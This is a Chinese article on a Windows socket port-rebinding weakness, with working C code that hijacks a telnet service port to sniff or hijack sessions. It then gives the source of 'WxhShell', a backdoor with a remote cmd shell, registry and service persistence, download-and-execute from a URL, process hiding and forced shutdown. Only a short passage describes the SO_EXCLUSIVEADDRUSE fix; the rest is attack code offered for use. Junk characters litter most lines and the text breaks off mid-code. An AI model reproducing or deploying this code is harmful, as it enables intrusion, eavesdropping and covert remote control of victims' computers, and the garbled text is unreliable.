在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是:
D\`$ s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP);
8Peqm?{5Y5 bm+ Mr saddr.sin_family = AF_INET;
DSjo%Brd- q$t& *O_ saddr.sin_addr.s_addr = htonl(INADDR_ANY);
0Hz3nd?v So8P8TCK bind(s,(SOCKADDR *)&saddr,sizeof(saddr));
UJm`GO sJ?kp^!g 其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。
W"Rii]GK" O.$<Bf9
这意味着什么?意味着可以进行如下的攻击:
nu3 A'E`'k 'QV4=h` 1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。
~0}eNz* %d7iQZb> 2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到)
ZbGyl}8ua isd[l-wAmf 3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。
Ka{Iue Ss ~clWG-i 4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。
)T3wU~% ,f1wN{P 其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。
Ml3F\ fAW {Y@[hoHtF 解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。
>'T%=50YH ;I7Z*'5! 下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。
k
Z3tz?Du ;4_n:XUgo; #include
~J2Q0Jv #include
*@ o3{0[Z #include
@1+/r?b #include
lR(&Wc\j DWORD WINAPI ClientThread(LPVOID lpParam);
?SAi tQ3 int main()
fBF}-{VX( {
iBi/9 WORD wVersionRequested;
L9kP8&&KK DWORD ret;
)} #r"! WSADATA wsaData;
LH_ 2oJ\ BOOL val;
CeJ|z{F\ SOCKADDR_IN saddr;
ZRHTvxf SOCKADDR_IN scaddr;
hB.dqv]^ int err;
j;y|Ys)I SOCKET s;
Ya. $x~ SOCKET sc;
u<8Q[_E& int caddsize;
E.6\(^g HANDLE mt;
~9c9@!RA2 DWORD tid;
aj,ZM,Ad wVersionRequested = MAKEWORD( 2, 2 );
y,x~S\>+ err = WSAStartup( wVersionRequested, &wsaData );
Gt%kok if ( err != 0 ) {
3edAI&a5 printf("error!WSAStartup failed!\n");
QCo^#- return -1;
gvJJ.IX]+ }
gMvvDP!Wp saddr.sin_family = AF_INET;
pE<' '` F,zJdJ //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了
O92Y d$S !+6l.`2WI saddr.sin_addr.s_addr = inet_addr("192.168.0.60");
0%t|?@HoN saddr.sin_port = htons(23);
;E&XFTdO if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
3q>"#+R.t {
yR!>80$j printf("error!socket failed!\n");
; M(}fV] return -1;
+{I\r| }
'KL(A-}! val = TRUE;
QD<4(@c5| //SO_REUSEADDR选项就是可以实现端口重绑定的
ayD\b6Z2. if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0)
[GuDMl3hC {
w s=T R printf("error!setsockopt failed!\n");
}B-A*TI<h return -1;
Dpd$&Wr0Y }
qWFg~s#+ //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码;
cTnbI4S; //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽
Y'5ck( //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击
LZVO9e] GCKl[<9* if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR)
US|vYd}u+ {
%)D7Dr ret=GetLastError();
fUL"fMoU printf("error!bind failed!\n");
f3>/6C return -1;
wj^I1;lO }
=I(s7=Liu listen(s,2);
hvyN8We while(1)
{P-PH$ E- {
:tqjm: caddsize = sizeof(scaddr);
l 3K8{HY //接受连接请求
nf4P2<L! sc = accept(s,(struct sockaddr *)&scaddr,&caddsize);
*K(xES!b if(sc!=INVALID_SOCKET)
1I`D$Xq~: {
.{-yveE mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid);
M9K).P= if(mt==NULL)
~30Wb9eL {
C\^K6,m5 printf("Thread Creat Failed!\n");
I/aAx.q break;
_iu|*h1y }
rieQ&Jt" }
}'W^Ki$ CloseHandle(mt);
|
#Pc
e }
qM0MSwvC= closesocket(s);
76b7-Nj" WSACleanup();
1Tq$ E[ return 0;
)9r%% # }
1Q5<6*QL" DWORD WINAPI ClientThread(LPVOID lpParam)
dx}/#jMa {
IJ8DN@w9 SOCKET ss = (SOCKET)lpParam;
J[H?nX9 SOCKET sc;
?/(K7>` unsigned char buf[4096];
b-?o?}* SOCKADDR_IN saddr;
".%LBs~$ long num;
M9#QS`G DWORD val;
0UJ`<Bfd DWORD ret;
[,^dM:E/ //如果是隐藏端口应用的话,可以在此处加一些判断
3ms/v:\ //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发
CD_f[u saddr.sin_family = AF_INET;
7]%il[ saddr.sin_addr.s_addr = inet_addr("127.0.0.1");
(;&?B.<\: saddr.sin_port = htons(23);
R3n&o%$* if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR)
Ij1]GZ`A( {
G)hH?_U#T printf("error!socket failed!\n");
"yTh + = return -1;
jtv Q<4 }
ogqV]36Idh val = 100;
wsrx|n[] if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
LG#w/).^ {
dV{Hn {( ret = GetLastError();
]$*{< return -1;
1H=wl=K }
e@=[+iJc if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)
2g6_qsqi {
//lZmyP? ret = GetLastError();
IWqxT?* return -1;
41o!2(e$ }
,6O9#1A&i if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0)
fVUBCu {
k6'# printf("error!socket connect failed!\n");
^-GX&ODa closesocket(sc);
uV_)JZW,L closesocket(ss);
"g%:#'5 return -1;
m->%8{L }
xm|4\H&Bg while(1)
yH%+cmp7 {
lE)rRG+JLW //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。
{(}w4.! //如果是嗅探内容的话,可以再此处进行内容分析和记录
=t$mbI //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。
SU
O; num = recv(ss,buf,4096,0);
P0 ltN if(num>0)
)O@^H send(sc,buf,num,0);
Y-q@~vZ] else if(num==0)
5
?~-Vv31s break;
=6<w'> num = recv(sc,buf,4096,0);
;b?+:L if(num>0)
&8+6!TN7 send(ss,buf,num,0);
V-;nj,.mY else if(num==0)
3B".Gsm)X break;
v*~%x }
CY3 \:D0I closesocket(ss);
NzAtdcwR closesocket(sc);
mK40 f return 0 ;
NB5L{Gf6- }
OF<n T @MZ6E$I W(a'^
#xe ==========================================================
62)lf2$1 1mn$Rh&dO 下边附上一个代码,,WXhSHELL
C}=_8N d =(Yl r ==========================================================
$^=jPk]+ '%-xe3 #include "stdafx.h"
8U<.16+5Q mXU?+G0 #include <stdio.h>
aI{@]hCo #include <string.h>
KPjqw{gR_R #include <windows.h>
vQYfoam; #include <winsock2.h>
qa$[L@h> #include <winsvc.h>
+z(,A #include <urlmon.h>
m0A@jWgd B#GZmv1 #pragma comment (lib, "Ws2_32.lib")
!qXq
y}?w #pragma comment (lib, "urlmon.lib")
GQ-e$D@SfB 0|s$vqc #define MAX_USER 100 // 最大客户端连接数
udEb/7ZL #define BUF_SOCK 200 // sock buffer
Fm$n@RbX #define KEY_BUFF 255 // 输入 buffer
DA MpR3 h w ;d m #define REBOOT 0 // 重启
*T>#zR{ #define SHUTDOWN 1 // 关机
;8L+_YCa i[ Gw7'f #define DEF_PORT 5000 // 监听端口
!v5sWVVR _N,KHxsG8B #define REG_LEN 16 // 注册表键长度
O5TK&j #define SVC_LEN 80 // NT服务名长度
1x\W521 ~e`;"n@4 // 从dll定义API
{7TJgS typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD);
or!D typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG);
ZU|V+yT typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded);
>OKS/(I0 typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize);
`!,\kc1 >^T,U0T]) // wxhshell配置信息
7:VEM;[d struct WSCFG {
e1`)3-f int ws_port; // 监听端口
!QQ<Ai!E char ws_passstr[REG_LEN]; // 口令
k\Z;Cmh> int ws_autoins; // 安装标记, 1=yes 0=no
cu479VzPx: char ws_regname[REG_LEN]; // 注册表键名
Ql#W
/x,e char ws_svcname[REG_LEN]; // 服务名
1(:b{Bl char ws_svcdisp[SVC_LEN]; // 服务显示名
MOp=9d+N~ char ws_svcdesc[SVC_LEN]; // 服务描述信息
@dE 3 char ws_passmsg[SVC_LEN]; // 密码输入提示信息
dS3>q<J*a int ws_downexe; // 下载执行标记, 1=yes 0=no
r\l3_t char ws_fileurl[SVC_LEN]; // 下载文件的 url, "
http://xxx/file.exe"
e<L 9k}c char ws_filenam[SVC_LEN]; // 下载后保存的文件名
w~Tq|kU[ ZM-/n> };
f
$.\o Gh$y#0qr // default Wxhshell configuration
np`gcj# struct WSCFG wscfg={DEF_PORT,
k5fH; "xuhuanlingzhe",
'{j\0 1,
ui.QYAYaV "Wxhshell",
]s*[Lib "Wxhshell",
m0BG9~p| "WxhShell Service",
%/tGkS6 "Wrsky Windows CmdShell Service",
U5On-T5 "Please Input Your Password: ",
=0PNHO\gl 1,
9{9#AI.G "
http://www.wrsky.com/wxhshell.exe",
}j5R@I6P "Wxhshell.exe"
/\ ,_P };
f
gK2.;> {p#l!P/ // 消息定义模块
T.R>xd`9
" char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005
http://www.wrsky.com\n\rMake by 虚幻灵者\n\r";
taWirqd9 char *msg_ws_prompt="\n\r? for help\n\r#>";
8"?Vcw& char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>
http://.../server.exe\n\r";
rSF;Lp)} char *msg_ws_ext="\n\rExit.";
m0%iw1OsH% char *msg_ws_end="\n\rQuit.";
r{R[[]p char *msg_ws_boot="\n\rReboot...";
w!B,kqTG char *msg_ws_poff="\n\rShutdown...";
)T.pjl char *msg_ws_down="\n\rSave to ";
M73VeV3DL Y'<uZl^aX char *msg_ws_err="\n\rErr!";
FhY{;-W(T char *msg_ws_ok="\n\rOK!";
]Efh(Gb] %2@ Tj}xa char ExeFile[MAX_PATH];
|z!q
r}i int nUser = 0;
Q
QsVIHA HANDLE handles[MAX_USER];
{UX"Epd);n int OsIsNt;
5bF9IH AMh37Xo SERVICE_STATUS serviceStatus;
G_2gKkIK- SERVICE_STATUS_HANDLE hServiceStatusHandle;
.\ ;l-U f7_\).T // 函数声明
="5k\1W1M int Install(void);
r/N[7*i int Uninstall(void);
tAb;/tM3I int DownloadFile(char *sURL, SOCKET wsh);
IL+#ynC int Boot(int flag);
4DQ07w void HideProc(void);
+X* F<6mZ int GetOsVer(void);
' D)1ka. int Wxhshell(SOCKET wsl);
; d, JN void TalkWithClient(void *cs);
KA|&Q<<{@ int CmdShell(SOCKET sock);
27Kc-rcB int StartFromService(void);
zK'
_e&* int StartWxhshell(LPSTR lpCmdLine);
Xmf $n=W2WJ6f VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv );
<O,'5+zG% VOID WINAPI NTServiceHandler( DWORD fdwControl );
++Rdv0~ 3JlC/v#0 // 数据结构和表定义
T =eT^?v SERVICE_TABLE_ENTRY DispatchTable[] =
?VMi!-POE {
2|0Je^$| {wscfg.ws_svcname, NTServiceMain},
;H7EB` {NULL, NULL}
q5:0&:m$4$ };
%mK3N2N$ 8~&F/C* // 自我安装
l]a^"4L4`o int Install(void)
lF;ziF {
CbTf"pl char svExeFile[MAX_PATH];
Qag|nLoT HKEY key;
;x!,g5q"q strcpy(svExeFile,ExeFile);
Z-4K?;g'k X;s3y{ku // 如果是win9x系统,修改注册表设为自启动
)^jQkfL if(!OsIsNt) {
~=`f]IL if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
=,&u_>Dp RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
G]L0eV RegCloseKey(key);
) >>u|#@z if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
92P,:2`a RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile));
3n.+_ jQ>s RegCloseKey(key);
th.M.jas return 0;
i;[h
9=\/ }
R7E]*:0} }
L"""\5Bn( }
>QYh}Z-/% else {
r\A@&5#q kbfuvJ> // 如果是NT以上系统,安装为系统服务
[b7it2`dl SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE);
L]c 8d if (schSCManager!=0)
q6;OS.f {
KcIc'G 9 SC_HANDLE schService = CreateService
+
$k07mb\ (
O]e6i%? schSCManager,
2^zg0!z wscfg.ws_svcname,
7^kH8qJ) wscfg.ws_svcdisp,
z{Hz;m:*_ SERVICE_ALL_ACCESS,
$?H]S]#|}. SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS ,
|RHO+J SERVICE_AUTO_START,
H/cs_i SERVICE_ERROR_NORMAL,
EsT0"{ svExeFile,
QDIsC NULL,
xT{TVHdU NULL,
'4af
], NULL,
}U2[? NULL,
&E.OyqGZV NULL
euRCBzc );
U3mXm?f if (schService!=0)
0^J*+ {
)vO_sIbnW CloseServiceHandle(schService);
NJ
>I%u* CloseServiceHandle(schSCManager);
tH-gaDj_ strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\");
{@Blj3 ;w} strcat(svExeFile,wscfg.ws_svcname);
X }m7@r@ if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) {
'9^E8+=| RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc));
i{<8
hLO RegCloseKey(key);
! a86iHU return 0;
ot-(4Y }
Ly^E& ,) }
X32RZ9y CloseServiceHandle(schSCManager);
lKf Mp1 }
@) }
]a78tTi Sv.KI{;v$ return 1;
\z2vV+f }
M#=Y~PU fy9uLl}h // 自我卸载
6o$Z0mG int Uninstall(void)
iYkRo>3!QX {
;
qO@A1Hq HKEY key;
60~v
t04 S|l&fb n if(!OsIsNt) {
OpYmTep#T\ if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) {
-sP9E|/:'3 RegDeleteValue(key,wscfg.ws_regname);
[vE$R@TZ0! RegCloseKey(key);
8r5xs- if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) {
DG_}9M!DW@ RegDeleteValue(key,wscfg.ws_regname);
)URwIe{ RegCloseKey(key);
g+:$X- r return 0;
(:ZPt(1 }
;_x2Ymw }
C#Y,r)l }
?A|zRj{ else {
<MRC%!. fW(; SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS);
*zJD$+Fo if (schSCManager!=0)
#]"/{Z {
2q+la|1Cr SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS);
DKR<W.!*t if (schService!=0)
ZmNZS0j {
4"LPJX)Q if(DeleteService(schService)!=0) {
pMOD\J:l, CloseServiceHandle(schService);
SO7(K5H, CloseServiceHandle(schSCManager);
fv:L\N1u return 0;
3)dP7rmZ }
cvxIp#FbW CloseServiceHandle(schService);
,&0Z]* }
L+_8QK < CloseServiceHandle(schSCManager);
^n
t~-% }
C2NzP & FD }
{>S4#^@} SzRL}}I return 1;
2%bhW,?I }
:g&>D#{ '=$TyiU // 从指定url下载文件
MdLj,1_T int DownloadFile(char *sURL, SOCKET wsh)
R j-jAH {
m^z,,t9 HRESULT hr;
HTw#U2A;+ char seps[]= "/";
`Rrr>vj char *token;
0"hiCGm' char *file;
Ec+22X char myURL[MAX_PATH];
?.8<- char myFILE[MAX_PATH];
:#qUMiu$ 'HCnB]1 strcpy(myURL,sURL);
X!o@f$ token=strtok(myURL,seps);
"=FIFf while(token!=NULL)
FWIih5 3` {
"X`Qe!zk4 file=token;
vnDmFqelz token=strtok(NULL,seps);
@ozm; }
qZ#!CPHS : sFo
GetCurrentDirectory(MAX_PATH,myFILE);
&ryiG strcat(myFILE, "\\");
[
ynuj3G
V strcat(myFILE, file);
5H~@^!7t send(wsh,myFILE,strlen(myFILE),0);
Dp^95V@ send(wsh,"...",3,0);
#iiwD| hr = URLDownloadToFile(0, sURL, myFILE, 0, 0);
$khrWiX if(hr==S_OK)
O!/ekU|,r return 0;
,b$z!dvhl else
Ac
J>$L) return 1;
L+7*NaPY* 7$K}qsr< }
R \ia6 iEe#aO"D! // 系统电源模块
iFSJ4 W( int Boot(int flag)
*g*VCO {
6`1k
^ HANDLE hToken;
ekrBNDs9 TOKEN_PRIVILEGES tkp;
nYhp`!W4; s~=g*99H if(OsIsNt) {
CNq[4T'~A OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken);
f7ZA837Un LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid);
R#D#{cC( tkp.PrivilegeCount = 1;
Y!F!@`%G tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED;
'bl%Y).9w AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0);
lz-
iCZ if(flag==REBOOT) {
s88y{o if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0))
GZ
<nXU> return 0;
W|0My0y }
sSNCosb else {
)]3L/ if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0))
b##1hm~+9 return 0;
@bE~@4mOu }
3Qa?\C&4 }
]uAS+shQ& else {
'\
XsTs#L if(flag==REBOOT) {
gXF.on4B if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0))
/ xs9.w8- return 0;
#sS9vv7i }
G#|Hu;C6" else {
K0LbZMn,/ if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0))
:4U0I:J# return 0;
4'` C1 a }
X'jr|s^s }
{-J:4*` ,b4g.CV return 1;
?@>;/@ }
*CzCUu:%t zx7#)* // win9x进程隐藏模块
xvdY
8%S void HideProc(void)
dt<~sOT3s {
-nOq \RYV
] ;&"1A HINSTANCE hKernel=LoadLibrary("Kernel32.dll");
ZOC#i i`: if ( hKernel != NULL )
F'rt>YvF {
RvR:e| pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess");
d[S#Duz<& ( *pRegisterServiceProcess)(GetCurrentProcessId(),1);
%Sul4: D# FreeLibrary(hKernel);
Nkx0CG* }
'Wtf>` !:d L~n return;
i_NJ -K }
fQP,= H@Q` // 获取操作系统版本
puA|NT int GetOsVer(void)
cFDxjX?~ {
8!;$qVt OSVERSIONINFO winfo;
ZJ9x6|q winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO);
Ox~ 9_d GetVersionEx(&winfo);
l0. FiO@_Q if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT)
#3.\j"b return 1;
z(rK^RT else
h07eEg return 0;
/7x\;&bc }
HgaZbb>' l1|~ // 客户端句柄模块
/h7.oD8CU int Wxhshell(SOCKET wsl)
=},{8fZ4 {
S*xhX1yUi SOCKET wsh;
2uEhOi0I struct sockaddr_in client;
4~*Y];!Q DWORD myID;
%Lyz_2q A
UUH;L while(nUser<MAX_USER)
/'\;8A$J` {
|Q5+l.% int nSize=sizeof(client);
e"~)Utk wsh=accept(wsl,(struct sockaddr *)&client,&nSize);
SOs,) if(wsh==INVALID_SOCKET) return 1;
4#7Umj 3p&jLFphL handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID);
Dp`HeSKU^ if(handles[nUser]==0)
QLn+R(r closesocket(wsh);
V~[:*WOX else
pqH4w(; nUser++;
6rT4iC3Q{ }
R1/q3x WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE);
J.W Ho
c {>h97}P return 0;
Fg4@On[,i }
U!0E_J vK:QX$b // 关闭 socket
[;FofuZ void CloseIt(SOCKET wsh)
$kl$D"*0 {
nj closesocket(wsh);
E(;i> nUser--;
x2m]Us@LIU ExitThread(0);
LipxAE?O }
9~~UM<66W `.8UKSH+ // 客户端请求句柄
V^2-_V]8 void TalkWithClient(void *cs)
\K}aQKB/j {
8YKQItK ~#Aa Ldq SOCKET wsh=(SOCKET)cs;
B2(,~^39 char pwd[SVC_LEN];
b2s~%}T char cmd[KEY_BUFF];
s7"i.A char chr[1];
Z/7dg-$?'0 int i,j;
I="oxf#q ${>DhfF while (nUser < MAX_USER) {
Sr"/- fI]b zv; if(wscfg.ws_passstr) {
qtY
m!g if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
n_9x"m$ //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0);
F@EJtwLd5y //ZeroMemory(pwd,KEY_BUFF);
>A=\8`T^ i=0;
vI|As+`$d while(i<SVC_LEN) {
T>F9Hs W t%$@fjz // 设置超时
Q6x% fd_set FdRead;
c&m9)r~zP struct timeval TimeOut;
+v-LL*fa FD_ZERO(&FdRead);
pX_b6%yX( FD_SET(wsh,&FdRead);
%E.S[cf%8& TimeOut.tv_sec=8;
kc Y,vl TimeOut.tv_usec=0;
_Ex|f5+ int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut);
.Q[yD<)Ubs if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh);
u5F}( +4r &D*8l?A/1f if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh);
~!]m6 / pwd
=chr[0]; /[?Jylj
if(chr[0]==0xd || chr[0]==0xa) { KTv4< c]
pwd=0; e8q4O|I_
break; iaRR5D-
} enumK\
i++; P^zy; Qs7
} ERC<Dd0
vi|Zit
// 如果是非法用户,关闭 socket I4~^TrznRa
if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); zt?H~0$LB
} M2p<u-6
"
c/'M#h)"
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); b{pg!/N4
send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &^+3errO
v$3_o :
while(1) { T V;BNCg
)eq}MaW+j
ZeroMemory(cmd,KEY_BUFF); @yKZRwg
xlw 2g<s
// 自动支持客户端 telnet标准 blp=Hk
j=0; H"D5e
while(j<KEY_BUFF) { q^]tyU!w
if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); @h(!<Ux_
cmd[j]=chr[0]; )S Q('vwg
if(chr[0]==0xa || chr[0]==0xd) { 9P0yv3
cmd[j]=0; Pgev) rh[
break; /RqhykgZ
} l5HWZs^
j++; HlRAD|]\
} XHQh4W3
ppFYc\&=
// 下载文件 n ,1tD
if(strstr(cmd,"http://")) { 6(.H3bu
send(wsh,msg_ws_down,strlen(msg_ws_down),0); 1J'pB;.]s
if(DownloadFile(cmd,wsh)) =qX*]
send(wsh,msg_ws_err,strlen(msg_ws_err),0); $',3Pv
else ^ $wJi9D6
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0);
"l2bx
} ]#5^&w)'
else { 2&x7W*
oZ-FF'
switch(cmd[0]) { GA ik;R
8f-:d]
// 帮助 ;dOs0/UM&
case '?': { Mciq-c)
send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); Y}/c
N\
break; gVA; `<
} =)*JbwQ
// 安装 .+vd6Uc5a
case 'i': { ]>vf 9]
if(Install()) 6ZOAmH fs
send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9`INC~h
else ?`aTu:1#Z
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); u}m.}Mws
break; ob]dZ
} fkG##!
// 卸载 pUhc3L
case 'r': { BkV(81"C
if(Uninstall()) H|K("AVP:
send(wsh,msg_ws_err,strlen(msg_ws_err),0); xx0k$Dqt2I
else ALAL( f`
send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Of#K:`1@
break; $l#{_~
"m7
} 0[i}rC9&
// 显示 wxhshell 所在路径 .HCaXFW
case 'p': { fCr\u6Tb
char svExeFile[MAX_PATH];
A!4VjE>
strcpy(svExeFile,"\n\r"); sbA2W~:
strcat(svExeFile,ExeFile); yp?w3|`4;
send(wsh,svExeFile,strlen(svExeFile),0); ssT@<Tk^4
break; F"v:}Vy|
} Ju4.@
// 重启 [G=:?J,P
case 'b': { yXrd2?Rq@
send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); 5Edo%Hd6
if(Boot(REBOOT)) {( dP
send(wsh,msg_ws_err,strlen(msg_ws_err),0); Vq U|kv
else { ;.AV;C"
closesocket(wsh); @ge
LW!
ExitThread(0); .8x@IWJD
} KD=bkZ&
break; 4]IKh,jT
} |e+aZ%g
// 关机 0:#7M}U
case 'd': { L W?&a3e
send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); ([tG y
if(Boot(SHUTDOWN)) N"K\ick6J
send(wsh,msg_ws_err,strlen(msg_ws_err),0); _6LH"o3
else { {Y^c*Iqn
closesocket(wsh); ozuIwzi7N
ExitThread(0); s|E%~j[9
} E^82==R
break; W.p66IQwL&
} U&s(1~e\
// 获取shell {IrJLlq
case 's': { 7~D`b1||
CmdShell(wsh); 4/f[`].#W
closesocket(wsh); YLigP"*~^
ExitThread(0); ?l>e75V%w
break; Y!aLf[x]
} 7g8B'ex J
// 退出 aTX]+tBoe
case 'x': { t%:G|n Sz
send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); w0X$rl1
CloseIt(wsh); >R#9\/s
break; Stt* 1gT
} MorW\7-}
// 离开 I X?@~'
case 'q': { t+J)dr
send(wsh,msg_ws_end,strlen(msg_ws_end),0); zG<0CZQ8
closesocket(wsh); "!^c
WSACleanup(); 'cYQ?;
exit(1); ze
?CoDx2
break; tbY SK
} !bieo'c
} HI z9s4Y_
} $CM4&{B"i
r.9 $y/5
// 提示信息 {vjqy&?y
if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); BjN{@aEO
} &`m~o/
} We|-5
A=W5W5l(>
return; Up'."w_zE
} D)h["z|F
S7Qen6lm
// shell模块句柄 /m;O;2"
int CmdShell(SOCKET sock) A7.JFf>
{ f x%z|K
STARTUPINFO si; s!NisF
ZeroMemory(&si,sizeof(si)); )\(lg*?:
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; HK^a:BI
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; zz[g{[SN
PROCESS_INFORMATION ProcessInfo; 2Qw)-EB
char cmdline[]="cmd"; \l>qY(gu
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); ]<Z&=0i# 9
return 0; *1R##9\jU7
} B#;s(O
EUJ1RhajF
// 自身启动模式 }k4`
int StartFromService(void) (/To?`
{ O7! fI'R
typedef struct S$Ns8=
{ f2BS[$oV4
DWORD ExitStatus; ;G iI'M
DWORD PebBaseAddress; (N&k}CO]W
DWORD AffinityMask; e?_c[`sg
